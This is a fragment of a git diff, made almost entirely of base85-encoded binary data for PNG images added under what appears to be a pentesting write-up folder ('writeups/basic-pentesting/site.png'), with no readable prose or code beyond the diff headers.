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 literal 0 HcmV?d00001 diff --git a/writeups/basic-pentesting/site.png b/writeups/basic-pentesting/site.png new file mode 100644 index 0000000000000000000000000000000000000000..5507d318e9d06f2ec23a46d6e66dc5b2c24cbba1 GIT binary patch literal 11711 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 